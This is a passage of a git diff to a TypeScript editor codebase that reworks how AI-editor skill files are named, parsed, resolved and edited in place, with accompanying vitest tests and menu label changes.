+ process.stdout.write(` ${dim(`! ${w}`)}\n`);
+ }
});
return skills;
diff --git a/packages/cli/src/sharing/git-exclude.ts b/packages/cli/src/sharing/git-exclude.ts
index 2180b2325..584bb8f8c 100644
--- a/packages/cli/src/sharing/git-exclude.ts
+++ b/packages/cli/src/sharing/git-exclude.ts
@@ -25,10 +25,10 @@ import {
EDITOR_PROJECT_SKILL_ROOT,
type EditorId,
INSTALLED_SKILLS_REL,
+ LEGACY_SKILL_STORE_ROOT,
OK_DIR,
parseInstalledSkills,
RESERVED_PROJECT_SKILL_NAME,
- SKILL_CONTENT_ROOT,
} from '@inkeep/open-knowledge-core';
import { discoverGitRepository } from '@inkeep/open-knowledge-core/git-repository';
import { withHiddenWindowsConsole } from '@inkeep/open-knowledge-server';
@@ -62,7 +62,7 @@ const OK_BLANKET = `${OK_DIR}/`;
// reach folder-nested `.ok/` dirs, matching OK_BLANKET's reach. A plain
// `!.ok/skills/` after `.ok/` does NOT re-include (git prunes the excluded dir).
const OK_CARVE_CHILDREN = `**/${OK_DIR}/*`;
-const OK_CARVE_SKILLS_REINCLUDE = `!**/${SKILL_CONTENT_ROOT}/`;
+const OK_CARVE_SKILLS_REINCLUDE = `!**/${LEGACY_SKILL_STORE_ROOT}/`;
/**
* Result of an `addOkPathsToGitExclude` / `removeOkPathsFromGitExclude` call
diff --git a/packages/core/package.json b/packages/core/package.json
index d383daceb..e8925387e 100644
--- a/packages/core/package.json
+++ b/packages/core/package.json
@@ -35,6 +35,11 @@
"types": "./src/helper-bundle.ts",
"default": "./dist/helper-bundle.mjs"
},
+ "./skills-catalog": {
+ "development": "./src/skills-catalog/index.ts",
+ "types": "./src/skills-catalog/index.ts",
+ "default": "./dist/skills-catalog.mjs"
+ },
"./acp/thread-protocol": {
"development": "./src/acp/thread-protocol.ts",
"types": "./src/acp/thread-protocol.ts",
diff --git a/packages/core/src/commands/command-identity.ts b/packages/core/src/commands/command-identity.ts
index efd61334d..1861e618c 100644
--- a/packages/core/src/commands/command-identity.ts
+++ b/packages/core/src/commands/command-identity.ts
@@ -286,6 +286,16 @@ export const COMMAND_IDENTITIES: readonly CommandIdentity[] = [
availability: {},
palette: { group: 'commands', visibility: 'always' },
},
+ {
+ // Palette-only: "New skill" was never a native-menu leaf (it lives in the
+ // Skills sidebar/hub), so the menu-parity backfill structurally never picked
+ // it up. Creates a blank project-scope skill and opens it — no install.
+ id: 'new-skill',
+ labelKey: 'newSkill',
+ keywords: ['skill', 'create', 'author', 'new'],
+ availability: { singleFileHidden: true },
+ palette: { group: 'commands', visibility: 'always' },
+ },
// ── Project group (palette) / File-project (menu) ───────────────────────────
{
id: 'new-project',
@@ -335,6 +345,14 @@ export const COMMAND_IDENTITIES: readonly CommandIdentity[] = [
},
],
},
+ {
+ id: 'open-skills',
+ labelKey: 'openSkills',
+ keywords: ['skills marketplace explore import discover'],
+ availability: { singleFileHidden: true },
+ palette: { group: 'project', visibility: 'always' },
+ menu: [],
+ },
{
id: 'switch-project',
labelKey: 'switchProject',
diff --git a/packages/core/src/constants/cc1.test.ts b/packages/core/src/constants/cc1.test.ts
index b35725e2d..f74365609 100644
--- a/packages/core/src/constants/cc1.test.ts
+++ b/packages/core/src/constants/cc1.test.ts
@@ -2,10 +2,64 @@ import { describe, expect, test } from 'vitest';
import {
managedArtifactDocNameFromContentTarget,
parseGlobalSkillBundleDoc,
+ parseManagedArtifactName,
parseProjectSkillBundleDoc,
resolveSkillBundleWikiTarget,
+ skillFileLiveDocName,
+ skillLiveDocName,
} from './cc1.ts';
+describe('parseManagedArtifactName — skill name/rel split (per-file editability)', () => {
+ test('bare skill doc → rel is null (back-compat, unchanged)', () => {
+ expect(parseManagedArtifactName('__skill__/global/demo')).toEqual({
+ kind: 'skill',
+ scope: 'global',
+ name: 'demo',
+ rel: null,
+ });
+ expect(parseManagedArtifactName('__skill__/project/demo')).toEqual({
+ kind: 'skill',
+ scope: 'project',
+ name: 'demo',
+ rel: null,
+ });
+ });
+
+ test('per-file skill doc → name is the first segment, rel is the remainder', () => {
+ expect(parseManagedArtifactName('__skill__/global/demo/references/patterns')).toEqual({
+ kind: 'skill',
+ scope: 'global',
+ name: 'demo',
+ rel: 'references/patterns',
+ });
+ expect(parseManagedArtifactName('__skill__/global/demo/references/sub/deep')).toEqual({
+ kind: 'skill',
+ scope: 'global',
+ name: 'demo',
+ rel: 'references/sub/deep',
+ });
+ });
+
+ test('skillFileLiveDocName round-trips through parseManagedArtifactName (global)', () => {
+ const doc = skillFileLiveDocName('global', 'demo', 'references/patterns.md');
+ expect(doc).toBe('__skill__/global/demo/references/patterns'); // ext-less
+ expect(parseManagedArtifactName(doc)).toEqual({
+ kind: 'skill',
+ scope: 'global',
+ name: 'demo',
+ rel: 'references/patterns',
+ });
+ });
+
+ test('skillFileLiveDocName(project) is a content doc, not a managed-artifact name', () => {
+ expect(skillFileLiveDocName('project', 'demo', 'references/patterns.md')).toBe(
+ '.ok/skills/demo/references/patterns',
+ );
+ // The bare SKILL doc name is unchanged.
+ expect(skillLiveDocName('global', 'demo')).toBe('__skill__/global/demo');
+ });
+});
+
// The shared normalizer maps a content link target / doc name that points at a
// TEMPLATE file on disk to its managed-artifact doc name. It is the single
// source of truth used by both the client link resolver and the server link
@@ -78,6 +132,29 @@ describe('resolveSkillBundleWikiTarget', () => {
expect(resolveSkillBundleWikiTarget('scripts/run', skill)).toBe('.ok/skills/demo/scripts/run');
});
+ test('resolves from a REFERENCE doc, an IN-PLACE bundle, a GLOBAL artifact, and an extskill', () => {
+ // Bundle paths are authored bundle-root-relative regardless of which bundle
+ // doc mentions them — a reference doc resolves against its own bundle root.
+ expect(
+ resolveSkillBundleWikiTarget('references/sibling', '.ok/skills/demo/references/notes'),
+ ).toBe('.ok/skills/demo/references/sibling');
+ expect(
+ resolveSkillBundleWikiTarget('references/notes', '.agents/skills/demo/references/deep/x'),
+ ).toBe('.agents/skills/demo/references/notes');
+ expect(resolveSkillBundleWikiTarget('scripts/run', '__skill__/global/demo')).toBe(
+ '__skill__/global/demo/scripts/run',
+ );
+ expect(
+ resolveSkillBundleWikiTarget('references/notes', '__skill__/global/demo/references/other'),
+ ).toBe('__skill__/global/demo/references/notes');
+ expect(resolveSkillBundleWikiTarget('references/notes', '__extskill__/demo')).toBe(
+ '__extskill__/demo/references/notes',
+ );
+ expect(
+ resolveSkillBundleWikiTarget('references/notes', '__extskill__/demo/references/other'),
+ ).toBe('__extskill__/demo/references/notes');
+ });
+
test('leaves bare names and non-bundle targets to KB-wide resolution', () => {
// Bare name (no slash) keeps Obsidian-style page-set resolution.
expect(resolveSkillBundleWikiTarget('notes', skill)).toBeNull();
@@ -92,13 +169,23 @@ describe('resolveSkillBundleWikiTarget', () => {
expect(resolveSkillBundleWikiTarget('references/../../escape', skill)).toBeNull();
});
- test('returns null when the source is not a project skill SKILL doc', () => {
+ test('returns null when the source is not a bundle doc at all', () => {
expect(resolveSkillBundleWikiTarget('references/notes', 'notes/index')).toBeNull();
- expect(
- resolveSkillBundleWikiTarget('references/notes', '.ok/skills/demo/references/x'),
- ).toBeNull();
- // Global skills are managed-artifact docs, not content SKILL docs.
- expect(resolveSkillBundleWikiTarget('references/notes', '__skill__/global/demo')).toBeNull();
+ expect(resolveSkillBundleWikiTarget('references/notes', 'docs/guide')).toBeNull();
+ // A template artifact is managed but not a skill bundle.
+ expect(resolveSkillBundleWikiTarget('references/notes', '__template__/x/y')).toBeNull();
+ });
+
+ test('resolves for an IN-PLACE editor-dir skill too (.claude/.codex/.github/skills)', () => {
+ expect(resolveSkillBundleWikiTarget('references/notes', '.claude/skills/demo/SKILL')).toBe(
+ '.claude/skills/demo/references/notes',
+ );
+ expect(resolveSkillBundleWikiTarget('references/x', '.codex/skills/demo/SKILL')).toBe(
+ '.codex/skills/demo/references/x',
+ );
+ expect(resolveSkillBundleWikiTarget('references/y', '.github/skills/demo/SKILL')).toBe(
+ '.github/skills/demo/references/y',
+ );
});
});
@@ -124,6 +211,21 @@ describe('parseProjectSkillBundleDoc', () => {
});
});
+ test('parses an IN-PLACE editor-dir skill (SKILL + references), same shape as .ok/skills', () => {
+ expect(parseProjectSkillBundleDoc('.claude/skills/demo/SKILL')).toEqual({
+ name: 'demo',
+ kind: 'skill',
+ rel: null,
+ });
+ expect(parseProjectSkillBundleDoc('.codex/skills/demo/references/notes')).toEqual({
+ name: 'demo',
+ kind: 'reference',
+ rel: 'notes',
+ });
+ // scripts/** still not graph nodes, in any root.
+ expect(parseProjectSkillBundleDoc('.claude/skills/demo/scripts/run')).toBeNull();
+ });
+
test('rejects non-bundle docs, scripts, global skills, and the bare skill dir', () => {
// Regular docs — even ones that imitate the references shape outside the
// skills root — never parse as bundle docs (scope containment).
diff --git a/packages/core/src/constants/cc1.ts b/packages/core/src/constants/cc1.ts
index 91a579aa4..b51ab9d97 100644
--- a/packages/core/src/constants/cc1.ts
+++ b/packages/core/src/constants/cc1.ts
@@ -68,6 +68,18 @@ export type ConfigDocName = (typeof CONFIG_DOC_NAMES)[number];
export const MANAGED_ARTIFACT_PREFIX_SKILL = '__skill__/';
export const MANAGED_ARTIFACT_PREFIX_TEMPLATE = '__template__/';
+/**
+ * Prefix for an EDITABLE-UNMANAGED skill doc (`__extskill__/<name>` +
+ * `__extskill__/<name>/<rel>` for a bundle file). A detected skill in another
+ * editor (`~/.claude/skills/<name>`, …) lives OUTSIDE the project's contentDir;
+ * this synthetic doc lets it open as an editable managed-artifact-style buffer
+ * that continuously autosaves back to the real harness file — with none of the
+ * managed benefits (history/Revert/install/scope-move). Unlike `__skill__/`,
+ * this prefix carries NO scope: the real on-disk dir is held in the server's
+ * external-skill registry, keyed by name.
+ */
+export const MANAGED_ARTIFACT_PREFIX_EXTSKILL = '__extskill__/';
+
/**
* Canonical skill/managed-artifact scope values — the single source for the
* `global | project` axis. `cc1.ts` imports nothing, so it is the correct
@@ -79,25 +91,97 @@ export const MANAGED_ARTIFACT_PREFIX_TEMPLATE = '__template__/';
export const MANAGED_ARTIFACT_SCOPES = ['project', 'global'] as const;
export type ManagedArtifactScope = (typeof MANAGED_ARTIFACT_SCOPES)[number];
-/** True when `name` is a skill or template synthetic doc name. */
+/** True when `name` is a skill, template, or editable-unmanaged-skill synthetic
+ * doc name. All three are managed-artifact-CLASS docs: editable content docs
+ * hidden from the Files tree, with custom persistence (the observer bridge runs
+ * so WYSIWYG works). Only `__extskill__/` writes OUTSIDE the project boundary. */
export function isManagedArtifactDocName(name: string): boolean {
return (
name.startsWith(MANAGED_ARTIFACT_PREFIX_SKILL) ||
- name.startsWith(MANAGED_ARTIFACT_PREFIX_TEMPLATE)
+ name.startsWith(MANAGED_ARTIFACT_PREFIX_TEMPLATE) ||
+ name.startsWith(MANAGED_ARTIFACT_PREFIX_EXTSKILL)
);
}
+/** The synthetic editable doc name for an unmanaged skill's `SKILL.md`
+ * (`__extskill__/<name>`). The single builder shared by the client open path
+ * and the server endpoint response so both address the same key. */
+export function externalSkillLiveDocName(name: string): string {
+ return `${MANAGED_ARTIFACT_PREFIX_EXTSKILL}${name}`;
+}
+
+/** The synthetic editable doc name for an unmanaged skill's BUNDLE file
+ * (`__extskill__/<name>/<relNoExt>`) — the per-file analogue of
+ * {@link externalSkillLiveDocName} and the sibling of {@link skillFileLiveDocName}.
+ * `rel` is a `.md`/`.mdx` reference path; the extension is stripped (the server
+ * binds the ext-less name to the real file on disk, `.md` preferred). */
+export function externalSkillFileLiveDocName(name: string, rel: string): string {
+ const relNoExt = stripMdExt(rel);
+ return `${MANAGED_ARTIFACT_PREFIX_EXTSKILL}${name}/${relNoExt}`;
+}
+
+/** True when `name` is an editable-unmanaged-skill doc (`__extskill__/…`). The
+ * single reduced-mode signal: a doc for which the managed-only affordances
+ * (history/Revert/install/scope-move/Modified-Update) are hidden. */
+export function isExternalSkillDocName(name: string): boolean {
+ return name.startsWith(MANAGED_ARTIFACT_PREFIX_EXTSKILL);
+}
+
/**
- * Scope-relative root holding every skill's source dir: `<contentDir>/.ok/skills`
- * for project skills (git-committed, shared via the project repo) and
- * `<home>/.ok/skills` for global skills (user-level). SINGLE source of truth
- * for the `.ok/skills/...` path shared by the content filter (admission), the
- * doc-name routing (app + server), and the timeline query. The prefix is baked
- * into the shadow-repo object-store key scheme, so a change here is a one-way
- * door that must stay atomic across every consumer — hence one compile-time
- * constant rather than independent copies per package.
+ * Parse an `__extskill__/<name>` / `__extskill__/<name>/<rel>` doc name into its
+ * skill name + optional bundle-relative path (`references/x`, ext-less), or null
+ * when it isn't one. Deliberately NOT folded into `parseManagedArtifactName`:
+ * that returns a scope-typed shape (`global | project`), and an editable-
+ * unmanaged skill has NO scope — its real dir lives in the server's external-
+ * skill registry. The name grammar is the shared skill slug (`[a-z0-9-]+`); the
+ * security-critical containment gate is `externalSkillAbsPath` (server). */
+export function parseExternalSkillDocName(
+ name: string,
+): { name: string; rel: string | null } | null {
+ if (!name.startsWith(MANAGED_ARTIFACT_PREFIX_EXTSKILL)) return null;
+ const rest = name.slice(MANAGED_ARTIFACT_PREFIX_EXTSKILL.length);
+ const slash = rest.indexOf('/');
+ const skillName = slash < 0 ? rest : rest.slice(0, slash);
+ const rel = slash < 0 ? null : rest.slice(slash + 1);
+ // cc1 imports nothing (lowest layer), so the slug grammar is inlined rather
+ // than importing SKILL_NAME_REGEX. `externalSkillAbsPath` re-checks it.
+ if (!/^[a-z0-9-]+$/.test(skillName)) return null;
+ return { name: skillName, rel: rel && rel.length > 0 ? rel : null };
+}
+
+/**
+ * The RETIRED skill store's path (`<contentDir>/.ok/skills`, `<home>/.ok/skills`).
+ *
+ * Skills live IN PLACE now — the source folder IS the skill, at an editor dir,
+ * the `.agents/skills` hub, or a custom root. This is NOT where skills live and
+ * must never be a default for a fresh write. It survives for three reasons, all
+ * legacy-shaped:
+ *
+ * 1. Residents that have not drained. The boot migration moves them out, but a
+ * name that collides at its target never moves.
+ * 2. Restoring a version whose commit predates the migration — the bundle sat
+ * here in that commit's tree.
+ * 3. The git carve-out: this is the one skill root inside `.ok/`, which OK
+ * hides from git wholesale in local-only mode (see `content-filter.ts`).
+ *
+ * `.ok/skills` is otherwise an ORDINARY custom root — you may place a skill
+ * there and it is not relocated, ranked, or marked differently from
+ * `.team/skills`. If you are reaching for this constant to answer "where does a
+ * skill live", you want the entry's real `path` instead.
+ *
+ * The prefix is baked into the shadow-repo object-store key scheme, so a change
+ * here is a one-way door that must stay atomic across every consumer.
+ */
+/**
+ * Drop a trailing `.md` / `.mdx`. Content docs are addressed extension-less, so
+ * this conversion happens at every boundary that turns a real path into a doc
+ * name — one spelling keeps the `.mdx` grammar in one place.
*/
-export const SKILL_CONTENT_ROOT = '.ok/skills';
+export function stripMdExt(path: string): string {
+ return path.replace(/\.mdx?$/i, '');
+}
+
+export const LEGACY_SKILL_STORE_ROOT = '.ok/skills';
/**
* The CONTENT doc name for a PROJECT skill's `SKILL.md`
@@ -106,7 +190,7 @@ export const SKILL_CONTENT_ROOT = '.ok/skills';
* `__skill__/global/<name>` managed-artifact docs.
*/
export function projectSkillContentDocName(name: string): string {
- return `${SKILL_CONTENT_ROOT}/${name}/SKILL`;
+ return `${LEGACY_SKILL_STORE_ROOT}/${name}/SKILL`;
}
/**
@@ -135,15 +219,60 @@ const SKILL_BUNDLE_SUBDIRS = ['references', 'scripts'] as const;
* (`[[notes]]` resolving against the page set) is untouched. `..` escapes and
* targets that leave the skill dir return null.
*/
+/**
+ * A `/<skill-name>` reference from inside a skill bundle → that sibling skill's
+ * doc.
+ *
+ * The leading slash is the agent-facing convention for naming a skill (the way
+ * a slash command names one), not a filesystem path. Skill bodies routinely
+ * cross-reference each other that way — "consumer skills (`/graphics`,
+ * `/motion-video`) load this" — and read as a path it points at a root-level
+ * doc that does not exist, so following one offered to CREATE a page instead of
+ * opening the skill.
+ *
+ * Resolves against the SOURCE skill's own root, so it finds siblings in
+ * whichever dir the bundle lives in. A single segment only: `/a/b` is a path,
+ * not a skill name.
+ */
+export function resolveSkillSlashTarget(target: string, sourceDocName: string): string | null {
+ const trimmed = target.trim();
+ if (!trimmed.startsWith('/')) return null;
+ const name = trimmed.slice(1);
+ if (name === '' || name.includes('/')) return null;
+
+ const projectRoot = /^(\.[A-Za-z0-9_-]+\/skills)\/[^/]+\/(?:SKILL|references\/.+)$/.exec(
+ sourceDocName,
+ );
+ if (projectRoot) return `${projectRoot[1] as string}/${name}/SKILL`;
+
+ const globalSkill = /^__skill__\/(global)\/[^/]+(?:\/references\/.+)?$/.exec(sourceDocName);
+ if (globalSkill) return skillLiveDocName('global', name);
+
+ return null;
+}
+
export function resolveSkillBundleWikiTarget(target: string, sourceDocName: string): string | null {
- const skillDirMatch = /^(\.ok\/skills\/[^/]+)\/SKILL$/.exec(sourceDocName);
+ // The source may be ANY doc of a bundle — the SKILL doc or a reference doc —
+ // under any bundle scheme:
+ // - project skill roots (`.ok/skills` store or in-place `.<editor>/skills/…`;
+ // one shape-regex, no editor list to keep in lock-step),
+ // - global managed artifacts (`__skill__/global/<name>[/references/…]`),
+ // - editable-unmanaged externals (`__extskill__/<name>[/<rel>]`).
+ // Bundle paths are authored bundle-ROOT-relative by convention regardless of
+ // which bundle doc mentions them, so every source resolves against its own
+ // bundle root. Only admitted docs reach the index, so the broad shape match
+ // draws no spurious edges.
+ const skillDirMatch =
+ /^(\.[A-Za-z0-9_-]+\/skills\/[^/]+)\/(?:SKILL|references\/.+)$/.exec(sourceDocName) ??
+ /^(__skill__\/global\/[^/]+)(?:\/references\/.+)?$/.exec(sourceDocName) ??
+ /^(__extskill__\/[^/]+)(?:\/.+)?$/.exec(sourceDocName);
if (!skillDirMatch) return null;
const skillDir = skillDirMatch[1] as string;
const trimmed = target.trim();
// Strip a trailing markdown extension so `[[references/x.md]]` and
// `[[references/x]]` resolve identically (refs are ext-less content docs).
- const withoutExt = trimmed.replace(/\.mdx?$/i, '');
+ const withoutExt = stripMdExt(trimmed);
const segments = withoutExt.split('/').filter((s) => s !== '' && s !== '.');
const [first] = segments;
if (!first || !(SKILL_BUNDLE_SUBDIRS as readonly string[]).includes(first)) return null;
@@ -170,7 +299,11 @@ export type ParsedProjectSkillBundleDoc =
| { name: string; kind: 'skill'; rel: null }
| { name: string; kind: 'reference'; rel: string };
-const PROJECT_SKILL_BUNDLE_DOC_RE = /^\.ok\/skills\/([^/]+)\/(SKILL|references\/.+)$/;
+// Any skill root: the `.ok/skills` store OR an in-place editor dir
+// (`.claude/skills`, `.codex/skills`, `.github/skills`, …). Shape-matched (every
+// root is `.<editor>/skills/`) so no editor list to keep in lock-step; only
+// admitted skills reach the index, so a broad match draws no spurious edges.
+const PROJECT_SKILL_BUNDLE_DOC_RE = /^\.[A-Za-z0-9_-]+\/skills\/([^/]+)\/(SKILL|references\/.+)$/;
export function parseProjectSkillBundleDoc(docName: string): ParsedProjectSkillBundleDoc | null {
const match = PROJECT_SKILL_BUNDLE_DOC_RE.exec(docName);
@@ -232,6 +365,27 @@ export function skillLiveDocName(scope: ManagedArtifactScope, name: string): str
: `${MANAGED_ARTIFACT_PREFIX_SKILL}${scope}/${name}`;
}
+/**
+ * The LIVE CRDT doc name for a skill's bundle FILE — the per-file analogue of
+ * {@link skillLiveDocName}, for editing a `.md`/`.mdx` reference in place. `rel`
+ * is the bundle-relative path (e.g. `references/patterns.md`); the returned name
+ * is ext-less (matching the SKILL-doc convention). Project skill files are
+ * content docs (`.ok/skills/<name>/<rel>`, resolved by the page index); global
+ * skill files are managed-artifact docs (`__skill__/global/<name>/<rel>`,
+ * resolved by `managedArtifactAbsPath`). Both open editable through the same
+ * routing the SKILL.md uses.
+ */
+export function skillFileLiveDocName(
+ scope: ManagedArtifactScope,
+ name: string,
+ rel: string,
+): string {
+ const relNoExt = stripMdExt(rel);
+ return scope === 'project'
+ ? `${LEGACY_SKILL_STORE_ROOT}/${name}/${relNoExt}`
+ : `${MANAGED_ARTIFACT_PREFIX_SKILL}${scope}/${name}/${relNoExt}`;
+}
+
/**
* Parsed managed-artifact doc name. The two kinds are addressed DIFFERENTLY:
* - skill: `__skill__/<scope>/<name>` — `scope` ∈ {global, project}; the
@@ -243,7 +397,7 @@ export function skillLiveDocName(scope: ManagedArtifactScope, name: string): str
* scope — they are folder-local with leaf→root inheritance.
*/
export type ParsedManagedArtifactName =
- | { kind: 'skill'; scope: ManagedArtifactScope; name: string }
+ | { kind: 'skill'; scope: ManagedArtifactScope; name: string; rel: string | null }
| { kind: 'template'; folder: string; name: string };
/** Percent-decode each `/`-separated segment; returns `''` unchanged. */
@@ -274,7 +428,15 @@ export function parseManagedArtifactName(name: string): ParsedManagedArtifactNam
if (scope !== 'global' && scope !== 'project') return null;
const encoded = rest.slice(slash + 1);
if (!encoded) return null;
- return { kind: 'skill', scope, name: decodeManagedSegments(encoded) };
+ // `<name>` is a single slug segment; anything after it is a bundle-relative
+ // FILE path (`rel`) into the skill dir — `null` for the bare SKILL.md doc
+ // (`__skill__/<scope>/<name>`), so existing callers are unchanged.
+ const decoded = decodeManagedSegments(encoded);
+ const nameEnd = decoded.indexOf('/');
+ const skillName = nameEnd < 0 ? decoded : decoded.slice(0, nameEnd);
+ if (!skillName) return null;
+ const rel = nameEnd < 0 ? null : decoded.slice(nameEnd + 1);
+ return { kind: 'skill', scope, name: skillName, rel };
}
if (name.startsWith(MANAGED_ARTIFACT_PREFIX_TEMPLATE)) {
// Folder-addressed: split on the LAST slash — everything before is the
diff --git a/packages/core/src/constants/editors.ts b/packages/core/src/constants/editors.ts
index 2e4ba081e..e3990e348 100644
--- a/packages/core/src/constants/editors.ts
+++ b/packages/core/src/constants/editors.ts
@@ -123,6 +123,32 @@ export const EDITOR_PROJECT_SKILL_ROOT = {
hermes: null,
} as const satisfies Record<EditorId, string | null>;
+/**
+ * User-global skills root per editor (`~`-relative, POSIX), or `null` when OK
+ * reads no user-global skill dir for it — either it keeps no skills (`lm-studio`
+ * and `hermes` are config-only) or its skills live in a shared hub OK already
+ * scans (`claude-desktop` shares `~/.claude/skills`; `openclaw` reads the
+ * `~/.agents/skills` hub). Unlike the project map, the user dir does NOT follow
+ * the `<dotdir>/skills` convention for every editor — Pi nests its agent home
+ * (`.pi/agent/skills`) and Copilot uses `.copilot`, not `.github` — so this is
+ * its own map, not derivable from `EDITOR_PROJECT_SKILL_ROOT`. It is the single
+ * source `harnessHomes()` (skill detection) and the "Detected" location tooltip
+ * derive from, so adding a detectable editor here onboards it everywhere.
+ */
+export const EDITOR_USER_SKILL_ROOT = {
+ claude: '.claude/skills',
+ 'claude-desktop': null,
+ cursor: '.cursor/skills',
+ codex: '.codex/skills',
+ copilot: '.copilot/skills',
+ opencode: '.opencode/skills',
+ openclaw: null,
+ pi: '.pi/agent/skills',
+ antigravity: '.gemini/skills',
+ 'lm-studio': null,
+ hermes: null,
+} as const satisfies Record<EditorId, string | null>;
+
/** Editor ids that have a project skill surface (valid install-projection targets). */
export const PROJECT_SKILL_EDITOR_IDS = ALL_EDITOR_IDS.filter(
(id) => EDITOR_PROJECT_SKILL_ROOT[id] !== null,
@@ -131,10 +157,10 @@ export const PROJECT_SKILL_EDITOR_IDS = ALL_EDITOR_IDS.filter(
/**
* Reserved name of OpenKnowledge's built-in project-skill bundle — the ONE skill
* OK ships and re-projects into every wired editor's host dir on every project
- * open (`.{host}/skills/open-knowledge/`). Mirrors `BUNDLE_SKILL_NAME.project`
- * (and `SHIPPED_SKILL_NAME`) in `@inkeep/open-knowledge-server`; duplicated here
- * because core cannot depend on server, and pinned in lock-step by a server-side
- * test. Authored / pack skills take other names — the reserved `open-knowledge*`
+ * open (`.{host}/skills/open-knowledge/`). Mirrors `RESERVED_SKILL_PREFIX` in
+ * `@inkeep/open-knowledge-server`; duplicated here because core cannot depend on
+ * server, and pinned in lock-step by a server-side test. Authored / pack skills
+ * take other names — the reserved `open-knowledge*`
* prefix keeps them from shadowing this bundle.
*/
export const RESERVED_PROJECT_SKILL_NAME = 'open-knowledge';
diff --git a/packages/core/src/constants/menu-labels.ts b/packages/core/src/constants/menu-labels.ts
index 9e41e059f..ccab82961 100644
--- a/packages/core/src/constants/menu-labels.ts
+++ b/packages/core/src/constants/menu-labels.ts
@@ -40,7 +40,11 @@ export const MENU_LABELS = {
showHiddenFiles: 'Show hidden files',
showOkFolders: 'Show .ok folders',
showOnlyMarkdownFiles: 'Show only markdown files',
- showSkillsSection: 'Show skills section',
+ // Deliberately verb-less (unlike the sibling "Show …" filters): this toggles a
+ // whole sidebar section, and "Show skills section" read as an action that only
+ // ever shows — confusing when the item is checked and clicking it hides (7605).
+ // The checkbox check state carries the current-visibility signal.
+ showSkillsSection: 'Skills section',
expandAll: 'Expand all',
collapseAll: 'Collapse all',
// Move to Trash keeps "Trash" capitalized — the macOS destination proper noun,
@@ -71,6 +75,7 @@ export const MENU_LABELS = {
// native menu appends the … ellipsis at its call site where the command opens
// a new surface (Switch project…, Settings…).
switchProject: 'Switch project',
+ openSkills: 'Skills',
settings: 'Settings',
// Open folder's palette row is the descriptive "Open folder on disk"; the
// native File menu renders the terser "Open folder…" via `openFolder` above.
@@ -84,6 +89,7 @@ export const MENU_LABELS = {
// test guards them and the registry keeps a single label source.
openGraph: 'Open graph',
initializeStarterPack: 'Initialize starter pack',
+ newSkill: 'New skill',
// State-aware Show/Hide toggles — both surfaces render both variants; the
// native menu is a single row whose label flips on the pushed view-menu-state.
sidebarShow: 'Show sidebar',
diff --git a/packages/core/src/constants/skills.test.ts b/packages/core/src/constants/skills.test.ts
new file mode 100644
index 000000000..da903d975
--- /dev/null
+++ b/packages/core/src/constants/skills.test.ts
@@ -0,0 +1,50 @@
+import { describe, expect, test } from 'vitest';
+import { extractSkillRefs, rewriteSkillRefs } from './skills.ts';
+
+describe('rewriteSkillRefs', () => {
+ test('rewrites both forms the extractor reads', () => {
+ const body = 'Load /grill-me first.\nInline: `/grill-me`.\n(/grill-me) and [/grill-me]\n';
+ expect(rewriteSkillRefs(body, 'grill-me', 'grilling')).toBe(
+ 'Load /grilling first.\nInline: `/grilling`.\n(/grilling) and [/grilling]\n',
+ );
+ });
+
+ // The contract: rewrite exactly what draws an edge. Anything `extractSkillRefs`
+ // ignores must survive a rename untouched, or a rename starts corrupting prose
+ // and file paths that merely look like refs.
+ test('leaves alone every occurrence that draws no edge', () => {
+ const inert = [
+ 'A path /grill-me/steps.md keeps going.',
+ 'No boundary before x/grill-me.',
+ 'Hyphen run /grill-me-2 is a different slug.',
+ ];
+ for (const body of inert) {
+ expect(extractSkillRefs(body)).not.toContain('grill-me');
+ expect(rewriteSkillRefs(body, 'grill-me', 'grilling')).toBe(body);
+ }
+ });
+
+ test('rewrites only the named skill, not its neighbours', () => {
+ const body = 'Use /alpha then /beta then /alphabet.\n';
+ expect(rewriteSkillRefs(body, 'alpha', 'omega')).toBe(
+ 'Use /omega then /beta then /alphabet.\n',
+ );
+ });
+
+ test('handles adjacent refs and repeats', () => {
+ expect(rewriteSkillRefs('/ab /ab (/ab) `/ab`', 'ab', 'cd')).toBe('/cd /cd (/cd) `/cd`');
+ // A single character is below the grammar's minimum, so it is not a ref.
+ expect(rewriteSkillRefs('/a /a', 'a', 'b')).toBe('/a /a');
+ });
+
+ test('no-ops when the name is unchanged, stop-listed, or absent', () => {
+ expect(rewriteSkillRefs('Load /grill-me.', 'grill-me', 'grill-me')).toBe('Load /grill-me.');
+ expect(rewriteSkillRefs('Files under /tmp.', 'tmp', 'temp')).toBe('Files under /tmp.');
+ expect(rewriteSkillRefs('Nothing here.', 'grill-me', 'grilling')).toBe('Nothing here.');
+ });
+
+ test('a rewritten body extracts the new name and no longer the old', () => {
+ const out = rewriteSkillRefs('See /grill-me and `/grill-me`.', 'grill-me', 'grilling');
+ expect(extractSkillRefs(out)).toEqual(['grilling']);
+ });
+});
diff --git a/packages/core/src/constants/skills.ts b/packages/core/src/constants/skills.ts
new file mode 100644
index 000000000..d64747653
--- /dev/null
+++ b/packages/core/src/constants/skills.ts
@@ -0,0 +1,95 @@
+/**
+ * Shared prefix on OK's shipped starter-pack skills (`open-knowledge-pack-<packId>`,
+ * and `open-knowledge-pack-<packId>-<member>` for a decomposed pack's members).
+ *
+ * Structurally load-bearing: it exempts pack skills from the reserved-name install
+ * block (`skill-projection.ts`), drives `findPackSkillSource`, and is stripped for
+ * display in the browse surfaces. Lives in core so the server and app agree on one
+ * value. The Copybara skills-mirror manifest encodes it too — that copy is config,
+ * guarded by `check-skills-mirror-complete`.
+ */
+export const PACK_SKILL_PREFIX = 'open-knowledge-pack-';
+
+/**
+ * GitHub `owner/repo` of the public projection skills.sh indexes
+ * (`copybara/manifests/public-open-knowledge-skills.json` mirrors the bundled
+ * packs here). Recorded as the `.ok/skills-lock.json` source for seeded starter
+ * packs so they update through the same reimport path as any imported skill.
+ */
+export const OPENKNOWLEDGE_SKILLS_REPO = 'inkeep/open-knowledge-skills';
+
+/**
+ * Standalone `/skill-name` reference token in skill-doc prose — the cross-agent
+ * invocation convention ("Load /structured-thinking"). Requires a word boundary
+ * before and no path continuation after (a second `/` means it's a filesystem
+ * path, not a skill). Common absolute-path roots are stop-listed to keep prose
+ * like `/tmp` inert. Shared by the editor decorations (both surfaces) and the
+ * server backlink index (skill-ref graph edges) — one grammar, one behavior.
+ */
+export const SKILL_REF_RE = /(^|[\s([])\/([a-z0-9][a-z0-9-]{1,63})(?=$|[\s.,;:!?)\]])/g;
+
+const SKILL_REF_STOPLIST = new Set([
+ 'tmp',
+ 'usr',
+ 'etc',
+ 'var',
+ 'dev',
+ 'opt',
+ 'bin',
+ 'api',
+ 'home',
+ 'root',
+]);
+
+export function isSkillRefCandidate(slug: string): boolean {
